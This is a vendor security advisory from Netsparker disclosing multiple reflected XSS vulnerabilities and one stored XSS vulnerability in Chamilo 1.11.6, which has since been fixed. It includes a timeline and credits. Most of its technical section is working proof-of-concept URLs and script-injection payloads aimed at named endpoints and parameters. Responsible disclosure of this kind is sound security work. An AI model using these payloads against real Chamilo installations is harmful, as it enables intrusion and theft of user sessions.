Information
--------------------
Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in Chamilo 1.11.6
Affected Software: Chamilo
Affected Versions: 1.11.6
Homepage: https://chamilo.org/en/
Vulnerability:  Cross-site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): 6.3
Netsparker Advisory Reference: NS-18-027

Technical Details
--------------------

Reflected XSS

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/courses/3/index.php?'"--></style></scRipt><scRipt>alert(0x000791)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000791)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/add_courses_to_usergroup.php?'"--></style></scRipt><scRipt>alert(0x000BD5)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000BD5)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/add_sessions_to_usergroup.php?'"--></style></scRipt><scRipt>alert(0x016CED)</scRipt>
Parameter Name: Query Based  
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x016CED)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/dashboard_add_users_to_user.php?'"--></style></scRipt><scRipt>alert(0x00173F)</scRipt>
Parameter Name:  Query Based
Parameter Type:  Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00173F)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/teacher_time_report.php?daterange=2018-06-01 / 2018-06-22&_qf__teacher_time_report=&daterange_start=&daterange_end=&from=2018-06-01&until=<scRipt>alert(0x01C783)</scRipt>&submit=&course=3&session=3&teacher=3
Parameter Name: until
Parameter Type: GET
Attack Pattern: <scRipt>alert(0x01C783)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/teacher_time_report.php?daterange=2018-06-01 / 2018-06-22&_qf__teacher_time_report=&daterange_start=&daterange_end=&from=<scRipt>alert(0x01C746)</scRipt>&until=2018-06-22&submit=&course=3&session=3&teacher=3
Parameter Name: from
Parameter Type: GET
Attack Pattern: <scRipt>alert(0x01C746)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/teacher_time_report.php?daterange='+alert(0x01C03C)+'&_qf__teacher_time_report=&daterange_start=&daterange_end=&from=2018-06-01&until=2018-06-22&submit=&course=3&session=3&teacher=3
Parameter Name: daterange
Parameter Type:  GET
Attack Pattern: '+alert(0x01C03C)+'

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action=subscribe&category_code=ALL&hidden_links=&pageCurrent=1&pageLength=12&search_term=x'" onmouseover=alert(9) x=&search_course=1&sec_token=c79a672bd683a1c72beff1da5bee3d93
Parameter Name: search_term
Parameter Type: POST
Attack Pattern: x'" onmouseover=alert(9) x=

URL:  http://{DOMAIN}/{PATH-OF-CHAMILO}/main/calendar/agenda_js.php??=undefined&title=&content=</textarea><scRipt>alert(0x00E00A)</scRipt>&_qf__form=
Parameter Name: content
Parameter Type: GET
Attack Pattern:  %3c%2ftextarea%3e%3cscRipt%3ealert(0x00E00A)%3c%2fscRipt%3e  

URL:   http://{DOMAIN}/{PATH-OF-CHAMILO}/main/session/session_add.php?'"--></style></scRipt><scRipt>alert(0x0048B4)</scRipt>  
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0048B4)</scRipt>

URL:  http://{DOMAIN}/{PATH-OF-CHAMILO}/main/session/session_add.php
Parameter Name: description
Parameter Type: POST
Attack Pattern: </textarea><scRipt>alert(0x01D19F)</scRipt>

URL:  http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/configure_homepage.php?language='" onmouseover=alert(0x01A144)
Parameter Name: language
Parameter Type:  GET
Attack Pattern: '"+onmouseover=alert(0x01A144)+

URL:  http://{DOMAIN}/{PATH-OF-CHAMILO}/main/admin/languages.php/'onmouseover='alert(0x003EF6)
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'onmouseover='alert(0x003EF6)

URL:  http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action='" onmouseover=alert(0x00760F)
Parameter Name: action
Parameter Type:  GET
Attack Pattern:  '" onmouseover=alert(0x00760F)   

URL:  http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action=subscribe&category_code=ALL&hidden_links='" onmouseover=alert(0x00105A) &pageCurrent=1&pageLength=12&search_term=&search_course=1&sec_token=c79a672bd683a1c72beff1da5bee3d93
Parameter Name: hidden_links
Parameter Type: GET
Attack Pattern: '" onmouseover=alert(0x00105A)

URL:   http://{DOMAIN}/{PATH-OF-CHAMILO}/main/auth/courses.php?action='" onmouseover=alert(0x00030C) &category_code=ALL&hidden_links=http://www.example.com&pageCurrent=1&pageLength=12&search_term=3&search_course=1&sec_token=c5d7298897afeed24b512e25e7cd1047 Parameter Name: action
Parameter Type: GET
Attack Pattern: '" onmouseover=alert(0x00030C)

Stored XSS

URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/user_portal.php

Injection URL: http://{DOMAIN}/{PATH-OF-CHAMILO}/main/course_info/infocours.php?cidReq=1"onmouseover="alert(0x018024)
Parameter Name: title
Parameter Type: POST
Attack Pattern: 1" onmouseover="alert(0x018024)

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

9th July 2018 - First Contact
28th November 2018 - Vendor Fixed
4th December 2018 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.